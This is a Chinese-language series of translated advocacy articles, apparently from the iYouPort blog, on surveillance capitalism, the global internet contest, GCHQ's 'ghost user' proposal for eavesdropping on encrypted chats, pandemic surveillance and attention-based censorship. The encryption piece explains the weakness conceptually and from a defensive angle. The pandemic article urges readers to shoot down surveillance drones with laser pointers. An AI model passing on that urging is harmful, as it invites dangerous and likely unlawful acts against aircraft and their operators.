当 JetBlue 希望使用面部识别软件办理登机手续服务而受到压力时，它在新闻稿中解释说：“登机接触点是一个需要创新的领域，我们认为生物识别将改变航空旅行的未来，因为我们希望整个机场的旅程更加无缝”。

如果您担心亚马逊的家庭助理 Echo 如何使用它收集的有关您的数据、或者关于亚马逊员工正在窃听您的对话，那么该公司绝对会确保您了解 **Alexa** 将如何“让生活更轻松”，以便能说服您接受监视。

几乎在所有例子中都是如此：人们将行动中的便利价值视为技术的基本原理：所谓的舒适和“无摩擦”，看起来生活“更顺利”。

这种可取性似乎是不言而喻的。为什么我们不能希望事情变得更容易、更有效、更舒适，对吧？你会说被步行者踩出来的路往往都是捷径。

但是 ，如果这条“捷径”必须穿越蟒蛇的领地呢？是否要舍命图“便利”？

也许答案不是很简单 。

以牺牲其他价值甚至更大价值为代价来优先考虑便利，不仅仅是自然的或下意识的 —— 它还很有历史。

就如在 One / Zero 最近的一篇文章“便利的暴政”中，Colin Horgan 所写道的：“科技公司目前创造的便利性和我们大多数人所接受的便利性，是我们将在哪里结束的关键 —— 生活在一个我们都选择了的世界里，但似乎没有人真的想要。”

这个不受欢迎的世界包括被剥夺的隐私人权、被实时监视的定位广告、算法暴政的操纵和各种注意力精神剥夺。

这些是我们为触手可及的天气应用程序、乘车服务、搜索引擎、以及点播娱乐的小愿望，而付出的巨大代价。

Horgan 表示，既然便利性是“我们个人触手可及”的价值，它最终会“超过隐私、民主或平等……等一切更为抽象的概念”。

然而“便利性”只是一个魔鬼的披风，不仅在于个人层面上的 —— 它

正在掠夺我们的人权和自主权，而且在于人与人关系层面上的：“我”的便利通常是由别人付出的代价。

这些隐藏的成本往往只会加剧现有的不平等和不公正。

例如，面部识别的部署可能会使一些人通过安全检查点更方便，但同时，也会使那些更有可能被这种软件误识别的人和被当权者瞄准的异议人士的生活变得更加危险。

隐私、民主和平等这些抽象概念只能由那些认为它们是理所当然的人去体验。

而且，随着这些抽象理想的失败，更加巨大的不便正在以新的或未曾预料的形式覆盖所有人。

最终，便利性停止促进其他任何目标，其本身成为一个全面控制的终极目的，不再有价值。

社会学家 Thomas F. Tierney 在1993年发布的著作《便利的价值：技术文化的谱系》是在互联网全面发展之前的真知灼见，如今这本书仍然是对“便利性”如何塑造我们的技术环境的有益探索。

这本书将便利性的概念不仅仅局限于自然和固有的易用性和舒适性。

并且，它指出了关键：便利性并不是“由个人自由选择的，而是现代性技术秩序在各个方面所要求的”。

也就是说，“方便”，从根本上来说，是强加给我们的。

接下来的问题是我们如何接受这一价值作为我们自己的价值，甚至以牺牲其他更为实质性的理想做为代价。

现代性提出，通过“消费各种技术设备”可以克服这些障碍。Tierney 指出，当技术带来便利时，这就是他们的承诺：克服身体某些障碍而不是仔细地满足其需求。

他将便利性视为一种禁欲主义，而不是自我放纵或自私。

也许违反直觉，但是，这一解释有助于将一系列奇特的硅谷风潮置于背景之中：杰克多尔西的间歇性斋戒和冥想静修；伊隆马斯克的睡眠剥夺; Ray Kurzweil 的饮食和药丸驱动的奇点。

代餐公司 Soylent 的商业逻辑特别体现了便利性、禁欲主义和自我掌控之间的这种联系。

身体对营养的需求不是必须遵守的规则，更不用说享受了。它只是尽可能被消除的东西。这种态度最终导致了硅谷的后人类主义 —— 后者将身体本身设置为完全不方便，并想象甚至努力实现了一个人类完全放弃自身的未来。

毕竟，死亡本身才是最终限制。

将死亡视为一个需要解决的问题，Tierney 引用了天文学家 Robert Jastrow 1981年发表的未来学作品《魔法织机：宇宙中的心灵》。

当时的这本书写道："最终，人类大脑被安置在计算机中，已经摆脱了道德肉体的弱点。"

"大脑被连接到相机、仪器和引擎控制，大脑看到、感觉和响应刺激。它完全 被控制了"。

将我们对技术的使用定位于所谓的便利性，反映了禁欲主义甚至虚无主义假设的成功。

便利性是一种自相矛盾的愿望："需要尽快完成一件事并尽快获得优势是一种永远无法满足的需求，" Tierney 说。

"每一次进步都会带来新的障碍，并需要一种更精致或新的技术形式。"

因为它主要涉及手段和旨在对目标保持中立，所以便利性非常适合自由秩序，但其前提应该是支持个人选择自己目标的权利。

因此，便利性不是关于你去哪里或你在做什么，而是让旅程更加便捷和舒适。广告宣传的便利性很大程度上是为制造一种错觉。

我们很少有机会询问便利性是否适合我们追求的目标，或者是否能实现其休闲的承诺。唯一的重点是继续前进，更快，更有效。

任何方向的恒定运动都不是"终点"。如果你不知道目标是什么、为了什么、代价是什么，那么节省时间就是徒劳的。

Tierney 引用了 Ruth Schwartz Cowan 1983年关于节省时间的家庭技术的经典研究 "More Work for Mother"，该研究证明了20世纪早期

的技术如洗衣机、吸尘器和洗碗机的采用，很少能直接转化为女性的休闲时间。

这些节省时间的技术重新配置了家庭中的角色，并以这样的方式重新构建了期望，即：家庭主妇通常最终承担了更多而不是更少的工作。

Cowan 的分析专门针对特定时间和人群，但每当新技术进入社会或制度生态系统时，这些模式都会重演。

一些人的收益变成了他人的损失、角色被重新配置、新任务被不断生成、合作结构可能被取代 ……

换句话说，实现便利的承诺往往是复杂的，甚至表面上的受益者本身可能也会失去更多的收益。

Neil Postman 在其1992年出版的《预约技术》一书中指出，技术社会中的“赢家”不会告诉“失败者”“他们的生活将更有效地进行”，也就是说更便利。

“他们拒绝说清效率的成本”。

在90年代那本书里，Postman 有先见之明地问道：“计算机技术在多大程度上对大众有利？ … 人们的私人事务更容易被强大的机构所接管；人们更容易被操纵和控制；接受更多以权势的价值观为标准的检验；活生生的人经常仅仅被简化为一个数字对象……”。

因为便利性是针对效率的，所以不会让你更清闲。

相反，便利性往往只会加剧对生产力的需求，使我们对更多的产出负责。

因此，所谓的便利性技术所提供的需求严格来说并不是消费者的需求。

从生产者的角度来看，消费者认为的方便是“技术进步的领导者，科学家和技术人员” —— 一种主宰自然的愿望。

但这显然只是极少数人的特权，而非大众的权力。

曾经被称为解放工具的数字技术现在看起来只是压迫性的工具。那些曾经期待技术产生民主的人，如今已经清楚地发现，这只是 Lewis Mumford 称之为“专制主义工艺”的高度集权和控制系统。

Mumford 在1964年的作品中就精准地描述了当下的世界：“我们只能在被批准的红线内讨价还价，…… 他们采取的是宏伟的贿赂形式；只有在他们的框架内你才能要求一些最基本的东西……”。

但是，“你无法要求系统不提供的东西。你能得到的只是和其他人同样的加工和制造、均质化和均衡化的，以系统认为正确的数量配发。是他们想要给你的，而不是你想要获得的”。

就如 Horgan 当年所担忧的，所谓的便利性烟雾不仅仅是取代了隐私、平等和民主；并且，已经摧毁它们。

现在这一担忧几乎成为了现实。

过去二十年来，领先科技寡头积累的巨大财富和权力已经足够证实了这一点。

他们正是通过提供“便利性”来实现这点的。

我们呢？我们究竟有没有得到“便利性”的优越一面？没人回答。也许没人愿意承认接受了这种狡诈的贿赂，并因此付出了一切。

Mumford 是对的，这就是一种贿赂，无论它看起来多么壮观。他们授予一点点便利性，就把所有人关入了该系统的牢笼。

这种狡诈的贿赂从开始到现在几乎没有任何失败。

当然，简单地拒绝这种便利性并不足以使一切变得顺利。需要更高明的办法，要让这种贿赂彻底失败。〇

原文

全球互联网之战才刚刚开始 - iyouport

你应该了解的现实关于高堡奇人监视资本主义的世界

【2020年9月10日存档】中国和硅谷对全世界的数字未来提出了两种相互竞争的愿景。但是，它们真的有很大不同吗？

编者按：我们认为这篇文章写得不够好。但是，作为企业媒体，卫报能大胆指出互联网世界高堡奇人的本质，而不是如其他企业媒体那样沿着中美争霸战的表面现象做肤浅的陈述，这本身是值得赞赏的。 列表-4 “高堡奇人” 的简介：*https://start.me/p/aL8RrM/iyp-4//* 这篇文章的缺点在于，它没能指出不自由主义资本主义是一个全球性的体系，监视资本主义是其关键属性 —— 它以中美均分天下的格局构成；其中所有玩家是共生关系，于是如果仅仅考虑谁能压倒谁、谁在复制谁，是难以找到答案的。 具体解释可以参见这篇文章《新自由主义结束了—欢迎来到新*不*自由主义时代：冠状病毒、中国、寡头、高堡奇人……》 此外，卫报的文章试图提及欧盟的努力，即 寄希望于为高堡奇人的世界引入一个第三方仲裁者，一方面强调说明美中双方本质上的一致性，另方面暗示突破高堡奇人的可能。 这的确是一种已经在流行的想法。但是很遗憾，欧盟目前尚且无法作为这一角色得到肯定：欧盟对中美互联网技术的《讽刺性依赖》注定它难以胜任突破者的角色 —— 罚款能解决的问题都不是问题。但是罚款不想解决的问题，才是最致命的问题罚款能解决的问题。 不论如何，至少指导*90%*互联网读者思考方式的企业媒体终于正面承认中美高堡奇人的异曲同工了。这个问题很重要，尤其是对于中国互联网用户而言，它是关于您翻了墙之后所来到的世界究竟能有什么根本性不同的问题。 中国国安部还是美国国安局？红色药丸还是蓝色药丸？土豆还是洋芋？…… 这类该死的问题本不应该存在。 请考虑一下现在使用互联网的一大批人类，考虑一下我们*40*亿人如何生活的最基本方面之一，哪怕只是片刻。 这是一个*21*世纪的故事，但它足以引起那些尚且记住冷战时代的老人们内心响起警钟。 人们如何理解自己所处的更广阔世界中的所有经历和事件，越来越多地取决于他们使用的互联网版本。 一边是在中国使用的系统，该系统产生大量的个人数据，并模糊成一个庞大的国家监视和审查机器。 该模型以两个在线技术寡头为中

心，它们的优势部分归因于这样一个事实，即：中国的消费主义全部是关于通过智能手机而非老式的塑料卡付款。 他们是电子商务巨头阿里巴巴，和拥有微信的腾讯，该平台每天有超过10亿人使用。它几乎统揽了每个人的基本生活 —— 付款、社交网络、消息传递、旅行交通、游戏 —— 几乎没有任何社会参与无法在这里实现。 在现代数字鸿沟的另一端，是在西方开创的互联网版本，如今它在全球范围内传播，以 ***Google*** 和 ***Facebook*** 为中心。这些寡头饱尝着数不胜数的个人信息的盛宴。 即使他们本身就是如今被称为监督资本主义的社会模式，却将自己展现为 *“个人自由和自由价值观”* 的完全相反的形象。 * 《谷歌控制的世界和监视资本主义》 我们这个时代的核心问题之一是，哪种模式将变得卓越，尤其是对目前尚未上网的一半人类而言。 随着 *Trump* 的贸易战提供了一种粗暴的背景音乐，到目前为止，这场战役并不像中国平台与美国同行的对决那么简单：在固定基础设施之间的紧张关系中，技术冲突尤为明显，特别是在涉及IT巨头华为的活动时。 * 《西方如何养肥了华为又”成就了”种族灭绝监视综合体？》 * 《中国症候群：当3Com遇到华为》 * 《华为之战的虚伪：技术的巴尔干化》 但是，看看中国在印度和非洲的高水平技术投资、阿里巴巴与亚马逊对峙的前景、*Uber*与中国同等公司滴滴之间的国际竞争 …… 您就会体会到未来的滋味 —— 尤其是在中国对移动支付系统的掌握方面，远远胜过大多数西方国家。在全球范围内，地缘政治正在迅速发展到是否只有中美两国才是最具影响力的技术参与者。 同时，总部设在美国的公司在西方地区的优势地位受到了前所未有的挑战。 最有希望获胜的民主党总统候选人 *Elizabeth Warren* 说，她希望分拆 *Facebook*、*Google* 和 *Amazon*。对于国会中更多的上流人士来说，同样的情绪也正在上升。 正如所谓的被遗忘权、通用数据保护条例（*GDPR*）以及欧盟委员会最近对 *Google* 处以的15亿欧元罚款，欧盟正在抢占优势。 这场新的冷战和监管竞赛是我们必须了解西方大型科技公司现在所做的一切的背景，尤其是 *Facebook* 创始人兼首席执行官马克·扎克伯格（*Mark Zuckerberg*）的情况。 十年前，他宣称自己相信一个理想的概念，即 所谓的*“ 激进的透明度”* 和 *“如果分享更多，世界就会变得更好的观念”*。 现在，由于他的公司暴露在永无休止的丑闻恐慌中，他说他正在追求 *“基于隐私的社交网络愿景”*。 从逻辑上讲，他曾经和现在的这两个想法相互抵消，从而揭示了更多平淡无奇的感觉：他拼命试图摆脱潜在监管者的束缚，以至于 *Facebook* 持续处于西方互联网的核心，随时准备被不断推入新的全球市场。 *5* 月初，扎克伯格发表了一篇很长的帖子，宣布他打算基于消息加密开发一个 *“以隐私为中心的通信平台，该平台将比今天的开放平台更加重要”*，该想法是从 *Snapchat* 复制而来的 —— 阅后即焚，以免再次困扰发布消息的人。 但是，实际上重要的是，他想整合 *Facebook*、*Instagram* 和 *WhatsApp* 提供的消息传递服务，这无疑将使将任何试图

拆解寡头公司的尝试都更加困难。 在可预见的将来，老式的 *Facebook* 将继续发展。同时，在他们的新平台上，扎克伯格和他的同事们将继续积累大量的元数据（我们与谁谈话、持续多长时间、以及我们每时每刻都在哪里的详细信息），而加密则减轻了该公司应对内容审查的负担：当用户发动暴力和虐待时，*Facebook* 的高层将能够否认一切，并坚守立场。 但是，最让人眼前一亮的是扎克伯格的新作品：他的计划是“使其尽可能安全，然后在此基础上建立更多让人们进行交互的方式，包括电话、视频聊天 …… 业务、支付、商业交易，最终成为许多其他种类的私人服务的综合性平台”。 这正是中国微信的模型，它几乎可以处理所有事，包括处理日常的个人理财，从而确保了无休止的数据雪崩。 着重强调的不仅是 *Facebook* 雄心勃勃的野心和扎克伯格举着“隐私”旗号所拥抱的新垄断规模，而是它居然很少引起关注：即使在东西方互联网模式争夺全球影响力的同时，中美双方两种模式正在融合。 也许这不值得惊讶。在冷战的高峰期，由于彼此之间的敌意，人们习惯于认为美国和苏联是越来越相似的社会，引用社会理论家 *Herbert Marcuse* 所说的“工业化的共同要求”，双方都受到官僚主义和集中式规划的束缚。 在*1989*年的革命之后，基本理念发生了变化，东西方都被认为将走向一个自由民主和自由市场的共同未来，这个愿景也被投射到了日益繁荣的中国，直到习近平的到来，才预示着更多的问题。 而现在，这种融合又回来了，但这一次是关于监视、诱导操纵、和寡头公司，它们侵入了我们生活的每一个部分。 危险的是，这个世界正处于两种景象之间（中美），而这两种景象太过相似了，令人难以区别：一方面，监控和审查制度由寡头公司与专制国家明目张胆地勾结在一起而实施；另一方面，无所不知的寡头公司与政府的关系微妙且严重不透明，这正是 *Edward Snowden* 站出来警告所有人的事。 立法者、监管者、开发者和企业家应该注意到：如果想要让*21*世纪的民主和最基本的公民理念有任何意义的话，西方的互联网不应该和中国的互联网接轨，而应该向相反的方向拉动。〇 *The global battle for the internet is just starting* 原文

关于幽灵用户和开裆裤 - iYouPort

你应该了解的现实加密和反加密之战技术-攻击防御和反抗

最诚实的设想是，灾难迟早会来，只是有可能不是突发性的，也因此会更危险。

「图」

「图」

过去几年一直是加密部署的绝佳时机。

十年来，加密的网络连接已从一种新颖性转变为运行现代网站的基本要求。

智能手机制造商为数十亿部手机配置了默认存储加密；现在数十亿用户已经部署了端到端加密消息和语音呼叫。

这一进展对于密码学家和隐私权倡导者来说显然是令人兴奋的，但并不是每个人都这样看待它。

"英国"和"澳大利亚"等国家已经通过了法律试图获取所有这些加密数据，"美国"也一样，至少有一项提案已提交给国会。

司法部去年也加入了这场对加密的战争，他们要求科技公司部署“负责任的加密” —— 翻译一下，就是带后门的。

在辩论中没有人真的愿意对此有所了解 —— “该怎么个负责任”。事实上美国副总检察长 Rod Rosenstein 在去年的一次演讲中直接请求密码学家去解决这个问题。

就是在这么一个大背景下，英国间谍头子 GCHQ 的 Ian Levy 和 Crispin Robinson 去年的一篇文章让那些当权者读起来就像一股清新的空气。

与他们的美国同事不同，GCHQ—基本上是英国的NSA—似乎渴望与

技术社区接触并提出认真的想法。

他们提出了一个具体的建议：一种新的解决方案，旨在自如地监控加密的消息和语音呼叫。而不是通过后门。

也就是那场著名的恐慌 —— 幽灵用户。

简说 **E2E**

GCHQ 的提案涉及对通信系统和电话的执法拦截。为了对提案有一些直觉的认识，我们首先需要对这些系统如何工作做一个超简化的解释。

任何E2E通信系统的基本思想是每个参与者直接从一个设备加密文本消息（或音频/视频数据）到另一个设备。

这一加密层减少了对提供商基础设施的信任需求 —— 从电话线到服务器再到海底电缆 —— 这为抵制恶意服务提供商和骇客提供了额外的保障。

直观的结果是看起来像这样：

「图」

「图」

如果考虑群组聊天/通话设置，这个图会略有变化，但只是略有变化。

每个参与者仍然直接将数据加密传输给其他参与者，绕过提供商。整体就是如此。实际细节（比如算法）因系统而异。

「图」

「图」

上面简化图片的问题在于，E2E系统涉及的东西实际上要比加密更多。

加密消息传递中最具挑战性的问题之一是获得实际执行加密所需的密钥。这个问题通常被称为密钥分发，在计算机安全领域是一个古老的问题。它有很多出错的可能性方式。

在过去，我们曾经要求用户来管理和交换他们自己的密钥，然后选择他们想要加密传输的对方用户。这太可怕了，每个非技术人士都讨厌这种东西。

现代E2E系统已经变得流行，主要是因为它们隐藏了用户的任务。这是以一些额外的提供商运营基础设施为代价的。

在实践中，像 Apple iMessage、WhatsApp 和 Facebook Messenger 这样的系统看起来更像是这样的：

「图」

「图」

上图中的 Apple 代表 Apple 的“身份服务”，这是一个在 Apple 的各种数据中心运行的服务器集群。

这些服务器执行许多任务，但最值得注意的是：它们充当查找您正在与之交谈的人的加密密钥的目录。

如果该服务失误并给了你错误的密钥，世界上最好的加密算法也帮不上你。它将导致您信任错误的人。

这些身份服务不只是查找密钥。在至少一些像 WhatsApp 和 iMessage 这样的群组消息系统中，他们还控制着参与群组会话的成员的资格。

在设计不良的系统中，服务器可以随意添加和删除群组对话中的用户，即使没有参与者想要。就好像你在一个非常私密的房间里进行对话 —— 但门没锁，而大楼经理控制着谁可以进入并加入你的对话。

技术说明：虽然身份系统的这两个方面有不同的用途，但在实践中它们往往密切相关。

例如，在许多系统中，“群组”和“一对一参与者”的消息之间几乎没有区别。再比如。在支持连接到单个帐户的多个设备的系统中，如 Apple 的 iMessage，连接到您的用户帐户的每个设备都被视为对话的单独一方。

如果任何一个帐户登陆于多个设备[比如 iPhone 和 iPad]，您就可以将每个 iMessage 对话视为群组对话。

大多数E2E系统都具有针对身份服务的不良行为的基本对策。

例如，客户端应用程序通常会在新用户加入群组聊天时或有人向您的 iMessage 帐户添加新设备时提醒您。

同样，WhatsApp 和 Signal 都公开了“安全号码”功能，允许参与者验证他们是否收到了正确的加密密钥，从而对不诚实的提供商进行检查。

但这些对策并不完美，也并非每项服务都能提供。这就是 GCHQ 提案的开裆裤想法之来源。

GCHQ 想要什么

那个文章没有详细介绍 GCHQ 的提议。这两位文章作者都花了很多时间在美国巡演，并就他们的想法进行了多次公开讲话。于是人们可以了解一些大概。

在其概述中，他们提出的想法看起来非常简单。目标就是利用身份管理系统中存在的弱点。

这将允许执法者/间谍 —— 在服务提供商的参与下 —— 将“幽灵用户”（或在某些情况下是“幽灵设备”）添加到现有的群聊或呼叫会话中。

在可以修改群组成员身份的系统中，这通常可以通过更改提供程序系统的服务器端组件来完成。

说它主要可以在服务器端完成，因为这里有个小问题。即使您成功修改基础结构以将未经授权的用户添加到了对话中，大多数现有的E2E系统也会在新参与者（或设备）加入对话时通知用户。

虽然GCHQ提案没有详细说明，但似乎任何可行的提案都要求提供商在目标设备上压制这些警告信息。

这意味着该提案还需要更改客户端应用程序以及服务器端基础结构。

像 Signal 这样的部分应用程序已经在某种程度上警惕了这些变化，因为群组聊天设置是由客户端以端到端的加密/认证方式处理的。

这可以防止服务器在没有至少一个群组参与者协作的情况下插入新用户。于是它更安全。

但是必须提醒，目前，WhatsApp 和 iMessage 似乎都容易受到 GCHQ 提议的方法的影响。

由于需要对服务器和客户端进行大量修改，GCHQ 提案实际上代表了对消息传递系统设计的一个非常重大的改变。

客户端更改可能需要部署到所有用户，因为您无法“瞄准”犯罪分子进行针对性的软件更新。

这就引出了最后一个问题：如何让供应商同意所有这些愚蠢的合作？

虽然合作在某些原则上是好的，但是通信提供商似乎不太可能自愿在其加密服务中插入强大的窃听功能，尤其是它仅仅代表了巨大危险的时候。

据推测，这意味着英国政府必须在合作方面加压。一个可能的途径是使用英国最愚蠢的“调查权力法案”（也被称为《窃听者宪章》）。

这要求提供商为1–10,000个用户提供实时解密，此外，提供商必须设计他们的系统以确保此类能力持续可用。

这就是问题所在。

提供商已经重视起这个漏洞

GCHQ 提案的真正问题在于它针对的是服务提供商已经熟知的消息/呼叫系统的弱点，也是供应商一直在努力弥补的弱点 —— 也许是因为他们看透了肯定会有像 GCHQ 这样的家伙去尝试利用它。

在过去的几年中，研究人员提出了多种设计，为用户提供关于他们从提供商的身份服务中获得哪些密钥的透明度。

这些设计都可以使提供商在世界上没有人注意到的情况下更改用户的密钥（或添加设备）变得非常困难。

如上所述，像 Signal 这样的高级通信应用将群聊聊天管理“沉入”到加密的通信流中，这样服务器就无法在没有现有参与者之一的数字认证批准的情况下添加任何新用户。

这种设计如果移植到像 WhatsApp 这样的更受欢迎的服务中，似乎就可以杀死 GCHQ 的提案了。

当然，这些解决方案突出了 GCHQ 提案的棘手性质。请注意，为了利用现有漏洞，GCHQ 将不得不要求提供商更改其系统。

而且，一旦你打开了迫使供应商改变他们的系统的大门，还有什么理由只做一次呢？什么能阻止英国政府进一步采取动，并利用法律的力量迫使供应商不要强化他们的系统来抵御这种类型的攻击？

这就能了解到 GCHQ 提案的真正问题了。有两种可能的结果。

首先，提供商迅速强化他们的系统—这很好；并在此过程中消除了使 GCHQ 提案可行的漏洞。

政府对该提案表达的兴趣越大，第一个结果的可能性就越大。

在第二个结果中，英国政府可能与其他政府一起通过迫使提供商保持其系统易受攻击来解决这一问题。第二个结果是最值得担心的。

今天的系统确实包含易于被利用的现有缺陷。但这并不意味着应该将具体的缺陷全列出来。而一旦间谍开始依赖这些缺陷，就必须有效的了解它们了。

如果英国成功实现此方法，像 GCHQ 这样的间谍机构将作为 Apple 和 Facebook 通信系统的终极架构师。

这是个最恐怖的结果。尤其是，它有可能在未来几年内以更加温水煮的形式到来。这就是为什么技术人员应该提早想到解决方案。〇

原文

冠状病毒大流行期间，监视状态蓬勃发展 - iyouport

你应该了解的现实老大哥的真面目

【2020年8月20日存档】冠状病毒让当权者获得了至高无上的反乌托邦权力—监视深入每个人的被窝，他们声称“为了防疫”；但是请记得，权力是当权者的命根，他们一旦获得了更大的权力就几乎不可能再放手；疫情后这个世界将变成彻底的1984吗 …… 这一教训并非首次，最近的著名案例就是911。如何在疫情结束后收回政府的非法权力，是公民应该考虑的重点。

从手机跟踪到空中无人机监视、从事无巨细的健康记录到GPS脚腕手环 …… 这些监视国家的手段正在全球范围内流行。

当然，所有这些都是以 “与COVID-19的传播作斗争” 的借口完成的 —— 每一次危机都被用来作为入侵公民自由的借口。

但是，在病毒表现最糟糕并继续蔓延很久之后，人类很可能会被这些侵犯我们隐私人权的行为所困，除非我们现在开始努力挽回。

在一定范围内，监视的原理很容易理解。与大流行作斗争的公共卫生当局想要知道谁在传播该病毒，他们可能感染了哪些人，以及可能携带病毒的人的活动。

COVID-19爆发始于中国，该国利用其已经深深嵌入的社会控制系统来迫使人们安装手机监视应用程序，该应用程序据称根据人们接触传染病蔓延的风险为他们每个人分配标示码。

允许旅行或进入公共场所的权限就取决于该码 —— 但很显然，该软件还跟踪每个人的下落并与当局共享公民手机的数据。

朝鲜的疫情状况并不像中国那样，但是该国仍然在跟踪人们的手机和信用卡使用情况。官员们还使用监视摄像机监视有可能被感染者的一

切活动。

西班牙当局效仿中国的战术，转向空中无人机来侦查未经授权的人员集会 —— 然后，无人机上的扬声器命令违规者返回家中。

- 《消费无人机对抗示威者预示了一个危险的、无法无天的冲突时代》
- 《抗议者使用数百个激光笔”击落”警察无人机》
- 《空中监视如何追踪抗议者？》

在美国，政府官员与寡头技术公司合作，仔细检查了大多数公民手机应用共享的位置数据。这个想法是要确定人们是否按照命令待在家里。如果没有，这些信息将检测人们在哪里聚类。

隐私规则也不再有效，现在政府卫生官员可以更轻松地共享患者的病历。

一些政府机构正在将GPS脚环监视器安装在COVID-19患者和那些可能暴露在外的人身上，以免他们在该国散步或触摸路边的杂物。

在大多数情况下，老大哥式战术都已作为临时措施出售，旨在应对COVID-19大流行带来的非常现实的危险。当权者声称监视是“为了防疫”。

但是，疫情带给这些当权者以极大的反乌托邦权力，公民能否信任当权者的话声称疫情过后他们将放弃这种至高无上的权力？

电子前沿基金会（EFF）的高级职员 Adam Schwartz 警告说：政府对新型高科技监视能力的垂涎实在是太熟悉了。

“即使在危机之中，公众也必须仔细评估政府的这种要求，因为监视会侵犯人权，阻止言论自由，并给弱势群体带来不成比例的负担。”

Schwartz 警告：“而且，新的监视能力往往会持续存在。”

EFF 并不是唯一担心这件事的人。

安全专家 Bruce Schneier 写道：“我认为 COVID-19 的后果将比9/11恐怖袭击的后果更为严重：不仅在监视方面，而且在我们社会的各种方面。”

尽管许多正常情况下无法接受的事 “特殊情况下”是可以做的，但是，

我们需要确保一旦当前的大流行结束，我们就必须迅速收回政府的这种权力。”

我们是否有能力收回政府的权力，是这里监视权的关键。正如 Schwartz 所提醒的那样，各国政府倾向于扩大应对危机的能力，但随着危险的消退，政府只会放弃部分新权力。

“在每次重大危机之后，政府的规模虽然比危机期间要小，但是，仍要比危机前更大”，Robert Higgs 在1987年的 Crisis and Leviathan 一书中就这样写道。他创造了“棘轮效应”一词来描述这一现象。您可以在这里下载这本书：https://www.patreon.com/posts/38320578

前奥巴马政府卫生政策顾问 Ezekiel Emanuel 坚称，“ COVID-19 将在未来18个月或更长时间里再次光顾。”

历史学家 Nicholas Mulder 预测：应对大流行的许多政策变化将永久化。

他在外交政策杂志的文章中指出：“危机总是会赋予改革派决策者以权力，绕过立法僵局和根深蒂固的利益纠葛。”

如果监视能力随着持续的危机而继续增长，那么您只能假设监视的复杂性和侵入性也会增长。

沿着这些思路，加拿大公司 **Draganfly** 正在兜售一架 “可以从远处确定一个人是否发烧的无人机，这与仅确定体温、咳嗽检测、呼吸频率、心率和血压有很大不同”。目标是远程检测潜在的COVID-19病例。

在美国，当地公共卫生当局已经全面掌握了社交媒体情报，以获取有关食源性疾病的信息，以瞄准并关闭可疑的餐馆。技术性监视项目的 Albert Fox Cahn 和 John Veiszlemlein 说，我们应该期望最终将这种技术应用于大流行。

人们会为了对健康的期待而允许老大哥行为，但不幸的是，我们的自由和隐私将在此过程中缓慢且令人窒息地死亡。也就是说，除非我们开始积极反对监测我们私人活动的努力。

中国是地球上最严酷的监视国家之一，它为寻求逃避审查的人激发了无限的创新能力。人们学会了在手机上安装反间谍软件，或更简单的方法是携带两种设备，一个不敏感的等着被审查，另一个藏起来。

手机本身是一个贴身的高级间谍，越来越多的人意识到在哪些敏感的重要的情况下不要携带自己的手机。

你很难完全退出，但是请记得，监视者所能做到的跟踪是对你的手机的定位，而不是你的人，如果你不把手机带着身上，他们就找不到你了。

您完全可以避免在任何社交媒体上发布有关您的私人生活的任何细节，包括您的健康状况。

至于无人机监视，击落他们，调整各种不同的射程。一个案例 《抗议者使用数百个激光笔"击落"警察无人机》。

但最好的办法是，在危机逐渐解除后，政府官员可以能够放弃这些监视措施。公民的反抗、揭露和监督必须能跟上节奏。〇

The Surveillance State Thrives During the Pandemic

原文

分心（注意力操纵）才是最常见/最邪恶的审查制度 - iyouport

你应该了解的现实监视资本主义的世界算法暴政

【2020年9月3日存档】在任何人都可以直播或发帖将自己的想法公之于众的时代里，我们应该生活在公共话语的乌托邦中不是吗？并不是 ……

编者按：在金正恩 “病危/死亡” 的传闻中，中文网络出现了一个非常有趣的投票，它问：“现在谁最希望金正恩死”。结果显示，选项3 “罗志祥” 获得了最高的票数。

这是个玩笑，但是，它已经充分体现了中国网民对算法暴政的感知 —— 关于，是谁在操纵互联网热点、以及其结果是什么。

这种感知并非近期才刚出现的。我们有印象，在至少两年前，中文网络就有一个笑话，当敏感的突发事件出现时，人们开玩笑说 “现在又该轮到哪个明星吸毒了？” 是的，正如本文的标题所指出的，如今，分心（注意力操纵）才是最常见/邪恶的审查制度，而非删帖。

但仅上述远非全部。在讨论互联网媒介相关的问题时，我们必须将其放在全球视角上，因为这里没有国界。如今所有人被放在同一个媒介上，如果基础设施错了，每个人面对的问题都是一样的。

对于大多数现代历史而言，阻止一个想法传播的最简单方法是防止其被机械传播 —— 焚书坑儒您肯定知道。当权者关闭报馆、向广播者施加压力、在出版社安置官方检查员。或者，将枪口顶在播音员的脑门上。

这不是玩笑，它实际上在土耳其就发生过一次。 1960年春天，一群军官刚刚夺取了对政府和国家媒体的控制权，就立刻实行了信息切断，以制止对那场政变的任何威胁。

但对于这些政变者而言，不便的是，原定于两周后在土耳其和苏格兰之间举行的一场备受期待的足球比赛。

像这样的大型比赛在国家广播电台会有现场直播，播音员会讲解这些赛事。土耳其各地的人们都会围着球队，为国家队加油。

对于军政府而言，取消比赛风险的太大，这样做可能会引起抗议。但是，如果播音员在广播中说出了政治相关的话，那可怎么办？

播音员的一句话就可能会使整个国家陷入混乱。因此，军官们想出了一个明显的“解决方案”：他们在现场直播的整个2小时45分钟内，一直拿枪指着播音员的脑袋。

即便这样，仍然是一种风险，虽然可以控制。毕竟，只有一个播音员需要被威胁：只有一个“危险的”喉咙。

- 《独裁者的监视指南》

这份关于审查手段的通用手册（找到合适的喉咙，然后捏死它）曾经是世界各地的“规范”。这是因为直到最近，广播和出版都是困难而昂贵的事务，其基础设施充斥着这类喉咙，集中在少数人手中。

但是今天，这些剧本几乎已经过时。当任何人都可以在几秒钟内建立一个 Twitter 帐户，并且几乎所有事件都被使用智能手机的市民记录下来时，您还能去捏死谁的喉咙？

据报道，2014年8月，在密苏里州弗格森爆发抗议活动时，一个名叫 Mustafa Hussein 的直播人在短时间内就吸引了可与**CNN**规模相当的观众。如果一个波斯尼亚克族的战犯在法庭上喝毒药，那么所有 Twitter 用户都将在几分钟之内知道这件事。

在当今的网络环境中，当任何人都可以直播或发帖将自己的想法发布到社交网络时，审查制度似乎应该是不可能的。这应该是言论自由的黄金时代？

不幸的是，恰恰相反。

当然，如果您可以相信撒谎的眼睛，那就是言论自由的黄金时代。您正在观看的视频真实吗？它真的是在这个地方和这个时候拍摄的吗？是由信息战trolls 还是一群机器人共享的呢？它甚至可能是在人工智能的帮助下生成的深度造假吗？（是的，有些系统可以创建令人信服的假视频）

- 《开源情报和取证学如何对付“深度造假”？（有很多视频）》

或者，假设您就是发布该视频的人。如果是这样，有人在看吗？还是在成千上万的内容制作人发布的帖子中被淹没了？它是否适合 Facebook 的算法？ YouTube 会推荐它吗？…… 如果没人看到你说的话，你有多少言论自由？

